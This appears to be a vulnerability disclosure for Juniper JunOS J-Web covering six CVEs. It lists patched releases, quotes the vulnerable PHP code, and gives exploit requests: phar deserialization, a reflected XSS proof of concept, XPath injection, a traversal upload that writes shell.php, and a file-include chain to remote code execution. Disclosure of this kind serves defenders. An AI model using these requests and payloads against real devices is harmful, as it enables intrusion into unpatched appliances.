Juniper SSLVPN / JunOS RCE and Multiple Vulnerabilities

The following software releases have been updated to resolve these specific issues: Junos OS 19.1R3-S9, 19.2R3-S6, 19.3R3-S7, 19.4R3-S9, 20.1R3-S5, 20.2R3-S5, 20.3R3-S5, 20.4R3-S4, 21.1R3-S2, 21.2R3-S1, 21.3R2-S2, 21.3R3, 21.4R1-S2, 21.4R3, 22.1R1-S1, 22.1R2, 22.2R1, and all subsequent releases. The Juniper advisory can be found here.

ALTERNATE WORKAROUND:

Disable J-Web, or limit access to only trusted hosts.

Vulnerability Details

1. CVE-2022-22241: Remote pre-authenticated Phar Deserialization to RCE.

Phar files (PHP Archive) files contain metadata in serialized format, which when parsed by a PHP file operation function leads to the metadata getting deserialized. An attacker can abuse this behavior to exploit an object instantiation vulnerability inside the Juniper codebase.

The unique characteristic about phar files is that this deserialization will occur even using PHP functions that do not eval PHP code like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(), is_dir(), if user input is passed to the functions.

Impact: This vulnerability can be exploited by an unauthenticated remote attacker to get remote phar files deserialized, leading to arbitrary file write, which leads to a remote code execution (RCE) vulnerability. We will not be releasing a full PoC on the deserialization we abused to get RCE until more servers are patched but the deserialization gadget is very easy to spot if you are looking at the JunOS codebase. This is the only reason this vulnerability is not rated a 9.8 Critical – an attacker will need to find a deserialization gadget we found or a different one to get RCE.

The vulnerability is caused by the following code in /jsdm/ajax/logging_browse.php:

$user = new user(true); //suppose to check if user is authenticated
$file_path=$_POST['filepath'];
if(!is_dir($file_path))
{
   $json = '[]';   
   echo $json;
}
else
{
   echo get_dir_listing($_POST['filepath'], $_POST['nameexceptions']);
}

Even though there is $user = new user(true); on line 1, the controller is still reachable without authentication because the user check doesn’t exit if it isn’t true. Sending a simple POST request with the filepath parameter pointing at the Phar file forces deserialization to occur.

An example request to reach the deserialization looks as simple as this: 

POST //jsdm/ajax/logging_browse.php HTTP/1.1
Host: JUNOS:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1

filepath=phar:////pharfile.jpg

The phar file can be a local image file uploaded through the image upload portal, a cache file, or a remote file uploaded via the unauthenticated upload page.

2. CVE-2022-22242: pre-authenticated reflected XSS on the error page. 

Impact: This vulnerability can be exploited by a remote unauthenticated attacker to steal JunOS admin sessions, or be used in combination with other vulnerabilities that require authentication. For example, this vulnerability can be used alongside the post-auth file write bug that is part of the report.

The vulnerability is caused by the following code in /error.php:
SERVER_NAME is a global variable that is constructed with REQUEST_URI

if(isset($_SERVER['SERVER_NAME'])) {
   $server = $_SERVER['SERVER_NAME'];
}
echo '<html style="display:table; margin:auto;">' .
'<body style="display:table-cell; vertical-align:middle;">' .
'<div style="margin-top: 30px;">' .
'<h4 style="font-family: Arial, Helvetica; color:#3a3a3a"> Host : ' . $server . '</h4>'

PoC:

https://JUNOS_IP/error.php?SERVER_NAME=<script>alert(0)</script>

3. CVE-2022-22243: XPATH Injection in jsdm/ajax/wizards/setup/setup.php

Impact: This vulnerability can be exploited by a remote authenticated attacker to manipulate JunOS admin sessions, or manipulate the XPATH stream that the server uses to talk with its XML parsers.

The vulnerability is created by the following code in /jsdm/ajax/wizards/setup/setup.php:

$date = $_GET['cmd'];
function setDate($date) {
   global $user;
   $user->xnm->command('set date '.$date,true,true,null);
}

JNX_STATE_AUTHENTICATED is a global variable that gets turned on if an active user session exists. This attack is not possible to perform if JNX_STATE_AUTHENTICATED is not on, so it is only possible to be exploited by low-level authenticated attackers. 

Attacker-controlled input is sent to the setDate method. The command() method checks against JNX_STATE_AUTHENTICATED. An attacker can also exploit this vulnerability via a CSRF vector. 

4. CVE-2022-22244: XPATH Injection in send_raw() method 

Impact: This vulnerability can be exploited by a remote authenticated attacker to manipulate JunOS admin sessions, or manipulate the XPATH stream that the server uses to talk with its XML parsers.

This vulnerability is caused by the following code in /modules/monitor/interfaces/interface.php:

$raw = trim(stripslashes(file_get_contents('php://input')));
   if (strstr ($raw, "get-custom-interface-information") == false) {
       print $user->xnm->send_raw($raw);
  …

we can reach the send_raw() function with the following input

POST /modules/monitor/interfaces/interface.php HTTP/1.1
Host: 0000:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1 
XPATH_payload_here

This will lead to send_raw() talking to the XPath parser via interface.php

5. CVE-2022-22245: Path traversal during file upload leads to RCE

Impact: This vulnerability can be exploited by a remote authenticated attacker to execute PHP code by uploading a file with a special name. This vulnerability can also be exploited with the XSS by an unauthenticated attacker.

This vulnerability is caused by the following code in /Upload.php:

$fileData = $_POST['fileData'];
$fileName = getXSSEncodedValue($_POST['fileName']);
if (!check_filename($fileName, false)) {
  echo 'Invalid Filename';
  return;
}
if (isset($_POST['chunk'])) {
  if (!ctype_digit($_POST['chunk'])) {
      echo 'Invalid input parameter';
      return;
  }
  $chunk = getXSSEncodedValue($_POST['chunk']);
}
if (!ctype_digit($_POST['csize'])) {
  echo 'Invalid input parameter';
  return;
}
$csize = getXSSEncodedValue($_POST['csize']);
$fileData = substr($fileData, strpos($fileData, ",") + 1);
$fileData = base64_decode($fileData);
 if(isset($_POST['chunk']))//PR 344660
 $cf = "/var/tmp/" . $fileName . '-' . $chunk;
 else
     $cf = "/var/tmp/" . $fileName;
$byte = 1024 * 1024 * 4;
if(file_exists($cf))
unlink($cf);
$fp = fopen($cf,'ab');
$status;
if(flock($fp,LOCK_EX | LOCK_NB))
{
$ret = fwrite($fp,$fileData);
flock($fp, LOCK_UN);
}
$rc = fclose($fp);
if($ret == $csize)

If the chunk parameter is not sent and valid XSRF param is instead sent, the attacker uploaded file is constructed to the following destination: /var/tmp/$filename 

Additionally, there is a function called check_filename that attempts to sanitize the upload but it looks like the following: 

function check_filename ($filename, $allow_slashes=false)
{
   // 0 length filename?
   if (strlen($filename) === 0) {
return false;
   }
   // Make sure they aren't attempting anything mean
   // ('..','/'s, etc).
   //Added as part of PR #1129555
   if ($filename === '..') {
return false;
   }
  if (strpos($filename, '/') !== false && !$allow_slashes) {
return "slash";
   }
   return true;
}

The check_filename() method can be bypassed with  \..\..\filename . This works because Apache on Linux normalizes backslashes to forward slashes.

which lets an attacker sending fileName=\..\..\..\..\www\dir\new\shell.php create the following file: 

/var/tmp/\..\..\..\..\www\dir\new\shell.php → /www/dir/new/shell.php

This vulnerability allows an attacker the ability to create any file in any destination of the appliance.

6. CVE-2022-22246: PHP file include /jrest.php 

Impact: This vulnerability can be exploited by a remote authenticated attacker to execute PHP code using the local file inclusion. This vulnerability can also be used to execute a PHP file that is uploaded by the arbitrary upload vulnerability

The vulnerability is caused by the following code in /jrest.php:

$http_method = $_SERVER['REQUEST_METHOD'];
$qs = $_SERVER['QUERY_STRING'];
$payload = file_get_contents('php://input');
$url_tokens = explode("/", $qs);
$url_sub_array = array_slice($url_tokens, 3);
$next_php_file = "/html/jsdm/jrest/". $url_tokens[2] .".php" ;
require_once ($next_php_file);

which can be manipulated with the following query:

/jrest.php?payload=alol/lol/any\..\..\..\..\any\file HTTP/1.1
Host: test.octagon.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://ogs.google.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
Content-Length: 16

which will lead to the server executing the following query:

require_once ("/html/jsdm/jrest/". "\..\..\..\..\any\file" .".php");

This allows an attacker the ability to include any PHP file stored on the server. If this vulnerability is exploited alongside the file upload vulnerability, it can lead to remote code execution.

If you have any JunOS devices, please update them to the latest version to mitigate these vulnerabilities.